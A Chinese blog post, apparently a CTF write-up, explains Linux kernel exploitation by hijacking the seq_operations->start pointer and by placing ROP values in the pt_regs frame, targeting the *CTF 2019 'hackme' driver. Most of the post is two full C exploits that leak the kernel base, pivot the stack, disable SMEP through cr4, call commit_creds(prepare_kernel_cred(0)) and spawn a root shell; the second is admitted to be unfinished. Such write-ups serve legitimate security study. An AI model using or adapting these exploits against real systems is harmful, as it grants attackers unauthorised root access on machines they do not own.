kernel 劫持seq_operations && 利用pt_regs

虚幻大学 虚幻 102℃ 0评论

? 优质资源分享 ?

学习路线指引(点击解锁) 知识定位 人群定位
? Python实战微信订餐小程序 ? 进阶级 本课程是python flask+微信小程序的完美结合,从项目搭建到腾讯云部署上线,打造一个全栈订餐系统。
?Python量化交易实战? 入门级 手把手带你打造一个易扩展、更安全、效率更高的量化交易系统

kernel 劫持seq_operations && 利用pt_regs

劫持seq_operations进行栈迁移

seq_operations是一个大小为0x20的结构体,在打开/proc/self/stat会申请出来。里面定义了四个函数指针,通过他们可以泄露出内核基地址。

struct seq\_operations {
    void * (*start) (struct seq_file *m, loff\_t *pos);
    void (*stop) (struct seq_file *m, void *v);
    void * (*next) (struct seq_file *m, void *v, loff\_t *pos);
    int (*show) (struct seq_file *m, void *v);
};

当我们read一个stat文件时,内核会调用proc_opsproc_read_iter指针

ssize_t seq\_read\_iter(struct kiocb *iocb, struct iov\_iter *iter)
{
    struct seq\_file *m = iocb->ki_filp->private_data;
    //...
    p = m->op->start(m, &m->index);
    //...

即会调用seq_operations->start指针,我们只需覆盖start指针为特定gadget,即可控制程序执行流。

2019 *starctf hackme关闭smap来尝试这种打法

exp1

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

int fd;
size\_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;
size\_t vmlinux_base, heap_base, off, commit_creds, prepare_kernel_cred;
size\_t user_cs, user_ss, user_sp, user_rflags;
size\_t raw_vmlinux_base = 0xffffffff81000000;
size\_t rop[0x100] = {0};

struct Heap{
    size\_t index;
    char *data;
    size\_t len;
    size\_t offset;
};

void add(int index, size\_t len, char *data)
{
    struct Heap heap;
    heap.index = index;
    heap.data = data;
    heap.len = len;
    ioctl(fd, 0x30000, &heap);
}

void delete(int index)
{
    struct Heap heap;
    heap.index = index;
    ioctl(fd, 0x30001, &heap);
}

void edit(int index, size\_t len, size\_t offset, char *data)
{
    struct Heap heap;
    heap.index = index;
    heap.data = data;
    heap.len = len;
    heap.offset = offset;
    ioctl(fd, 0x30002, &heap);
}

void show(int index, size\_t len, size\_t offset, char *data)
{
    struct Heap heap;
    heap.index = index;
    heap.data = data;
    heap.len = len;
    heap.offset = offset;
    ioctl(fd, 0x30003, &heap);
}

void save\_status()
{
    __asm__(
    "mov user\_cs, cs;"
    "mov user\_ss, ss;"
    "mov user\_sp, rsp;"
    "pushf;"
    "pop user\_rflags;"
    );
    puts("[+] save the state success!");
}

void get\_shell()
{
    if (getuid() == 0)
    {
        puts("[+] get root");
        //system("/bin/sh");
        char *shell = "/bin/sh";
        char *args[] = {shell, NULL};
        execve(shell, args, NULL);
    }
    else
    {
        puts("[-] get shell error");
        sleep(3);
        exit(0);
    }
}

void get\_root(void)
{
    //commit\_creds(prepare\_kernel\_cred(0));
    void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
    void (*cc)(void *) = (void (*)(void *))commit_creds;
    (*cc)((*pkc)(0));
}

int main()
{
    char buf[0x1000] = {0};
    int i;
    size\_t seq_data[4] = {0};

    save\_status();

    fd = open("/dev/hackme",0);
    if(fd < 0)
    {
        puts("[-] open file error");
        exit(0);
    }

    add(0, 0x20, buf); // 0
    add(1, 0x20, buf); // 1
    add(2, 0x20, buf); // 2
    add(3, 0x20, buf); // 3

    delete(0);
    delete(2);

    int fd_seq = open("/proc/self/stat", 0);
    if(fd_seq < 0)
    {
        puts("[-] open stat error");
        exit(0);
    }

    show(3, 0x20, -0x20, buf);
    vmlinux_base = ((size\_t *)buf)[0] - 0xd30c0;
    printf("[+] vmlinux\_base=> 0x%lx\n", vmlinux_base);
    off = vmlinux_base - raw_vmlinux_base;
    commit_creds = off + 0xffffffff8104d220;
    prepare_kernel_cred = off + 0xffffffff8104d3d0;
    show(1, 0x20, -0x20, buf);
    heap_base = ((size\_t *)buf)[0] - 0x80;
    printf("[+] heap\_base=> 0x%lx\n", heap_base);

    i = 0;
    rop[i++] = off + 0xffffffff8101b5a1; // pop rax; ret;
    rop[i++] = 0x6f0;
    rop[i++] = off + 0xffffffff8100252b; // mov cr4, rax; push rcx; popfq; pop rbp; ret;
    rop[i++] = 0;
    rop[i++] = (size\_t)get_root;
    rop[i++] = off + 0xffffffff81200c2e; // swapgs; popfq; pop rbp; ret; 
    rop[i++] = 0;
    rop[i++] = 0;
    rop[i++] = off + 0xffffffff81019356; // iretq; pop rbp; ret;
    rop[i++] = (size\_t)get_shell;
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    ((size\_t *)buf)[0] = off + 0xffffffff8103018e; // xchg eax, esp; ret;
    edit(3, 0x20, -0x20, buf);

    size\_t fake_stack = (heap_base + 0x40) & 0xffffffff;
    size\_t mmap_base = fake_stack & 0xfffff000;

    if(mmap((void *)mmap_base, 0x30000, 7, 0x22, -1, 0) != (void *)mmap_base)
        {
            puts("[-] mmap error");
            sleep(3);
            exit(0);
        }
    else
        puts("[+] mmap success");

    memcpy((void *)fake_stack, rop, sizeof(rop));

    read(fd_seq, buf, 1);
    return 0;
}

利用pt_regs

可以写一段如下汇编来控制程序执行流,再通过将寄存器押上栈进行ROP

    __asm__(
    "mov r15, 0x1111111111;"
    "mov r14, 0x2222222222;"
    "mov r13, 0x3333333333;"
    "mov r12, 0x4444444444;"
    "mov rbp, 0x5555555555;"
    "mov rbx, 0x6666666666;"
    "mov r11, 0x7777777777;"
    "mov r10, 0x8888888888;"
    "mov r9, 0x9999999999;"
    "mov r8, 0xaaaaaaaaaa;"
    "mov rcx, 0x666666;"
    "mov rdx, 8;"
    "mov rsi, rsp;"
    "mov rdi, fd\_seq;"
    "xor rax, rax;"
    "syscall"
    );

这是为什么呢?大家都知道系统调用是通过布置好寄存器的值之后执行syscall的过程,通过门结构进入到内核中的entry_SYSCALL_64函数。这个函数的内部存在这样一条指令: PUSH_AND_CLEAR_REGS rax=$-ENOSYS,这个指令很巧妙,他会把所有的寄存器压到栈上形成一个pt_regs结构体,位于内核栈底。

struct pt\_regs {
/*
 * C ABI says these regs are callee-preserved. They aren't saved on kernel entry
 * unless syscall needs a complete, fully filled "struct pt\_regs".
 */
    unsigned long r15;
    unsigned long r14;
    unsigned long r13;
    unsigned long r12;
    unsigned long rbp;
    unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
    unsigned long r11;
    unsigned long r10;
    unsigned long r9;
    unsigned long r8;
    unsigned long rax;
    unsigned long rcx;
    unsigned long rdx;
    unsigned long rsi;
    unsigned long rdi;
/*
 * On syscall entry, this is syscall#. On CPU exception, this is error code.
 * On hw interrupt, it's IRQ number:
 */
    unsigned long orig_rax;
/* Return frame for iretq */
    unsigned long rip;
    unsigned long cs;
    unsigned long eflags;
    unsigned long rsp;
    unsigned long ss;
/* top of stack page */
};

这里寄存器r8-r15都会被放到栈上,如果我们可以合理控制好这些寄存器的值,再找到一个add rsp, xxxh; ret;的寄存器放在seq_operations->start的位置,那么就可以控制程序执行流,考虑到一般这里栈上连续存放的寄存器一般只有4-5个,我们可以用commit_creds(&init_cred)来代替commit_creds(prepare_kernel_cred(NULL)),布局如下:

pop_rdi_ret;
init_cred;
commit_creds;
swapgs\_restore\_regs\_and\_return\_to\_usermode;

由于我这里并没有能找到合适的add rsp, xxxh; ret;,故就留一个调试半成品exp

exp2:

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

int fd;
size\_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;
size\_t vmlinux_base, heap_base, off, commit_creds, prepare_kernel_cred;
size\_t user_cs, user_ss, user_sp, user_rflags;
size\_t raw_vmlinux_base = 0xffffffff81000000;
size\_t rop[0x100] = {0};
int fd_seq;

struct Heap{
    size\_t index;
    char *data;
    size\_t len;
    size\_t offset;
};

void add(int index, size\_t len, char *data)
{
    struct Heap heap;
    heap.index = index;
    heap.data = data;
    heap.len = len;
    ioctl(fd, 0x30000, &heap);
}

void delete(int index)
{
    struct Heap heap;
    heap.index = index;
    ioctl(fd, 0x30001, &heap);
}

void edit(int index, size\_t len, size\_t offset, char *data)
{
    struct Heap heap;
    heap.index = index;
    heap.data = data;
    heap.len = len;
    heap.offset = offset;
    ioctl(fd, 0x30002, &heap);
}

void show(int index, size\_t len, size\_t offset, char *data)
{
    struct Heap heap;
    heap.index = index;
    heap.data = data;
    heap.len = len;
    heap.offset = offset;
    ioctl(fd, 0x30003, &heap);
}

void save\_status()
{
    __asm__(
    "mov user\_cs, cs;"
    "mov user\_ss, ss;"
    "mov user\_sp, rsp;"
    "pushf;"
    "pop user\_rflags;"
    );
    puts("[+] save the state success!");
}

void get\_shell()
{
    if (getuid() == 0)
    {
        puts("[+] get root");
        //system("/bin/sh");
        char *shell = "/bin/sh";
        char *args[] = {shell, NULL};
        execve(shell, args, NULL);
    }
    else
    {
        puts("[-] get shell error");
        sleep(3);
        exit(0);
    }
}

void get\_root(void)
{
    //commit\_creds(prepare\_kernel\_cred(0));
    void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
    void (*cc)(void *) = (void (*)(void *))commit_creds;
    (*cc)((*pkc)(0));
}

int main()
{
    char buf[0x1000] = {0};
    int i;
    size\_t seq_data[4] = {0};

    save\_status();

    fd = open("/dev/hackme",0);
    if(fd < 0)
    {
        puts("[-] open file error");
        exit(0);
    }

    add(0, 0x20, buf); // 0
    add(1, 0x20, buf); // 1

    delete(0);

    fd_seq = open("/proc/self/stat", 0);
    if(fd_seq < 0)
    {
        puts("[-] open stat error");
        exit(0);
    }

    show(1, 0x20, -0x20, buf);
    vmlinux_base = ((size\_t *)buf)[0] - 0xd30c0;
    printf("[+] vmlinux\_base=> 0x%lx\n", vmlinux_base);
    off = vmlinux_base - raw_vmlinux_base;
    commit_creds = off + 0xffffffff8104d220;
    prepare_kernel_cred = off + 0xffffffff8104d3d0;

    size\_t gadget = 0xffffffff8103018e; // xchg eax, esp; ret;
    ((size\_t *)buf)[0] = gadget;

    edit(1, 0x20, -0x20, buf);

    __asm__(
    "mov r15, 0x1111111111;"
    "mov r14, 0x2222222222;"
    "mov r13, 0x3333333333;"
    "mov r12, 0x4444444444;"
    "mov rbp, 0x5555555555;"
    "mov rbx, 0x6666666666;"
    "mov r11, 0x7777777777;"
    "mov r10, 0x8888888888;"
    "mov r9, 0x9999999999;"
    "mov r8, 0xaaaaaaaaaa;"
    "mov rcx, 0x666666;"
    "mov rdx, 8;"
    "mov rsi, rsp;"
    "mov rdi, fd\_seq;"
    "xor rax, rax;"
    "syscall"
    );
    return 0;
}

转载请注明:虚坏叔叔 » kernel 劫持seq_operations && 利用pt_regs

喜欢 (0)

您必须 登录 才能发表评论!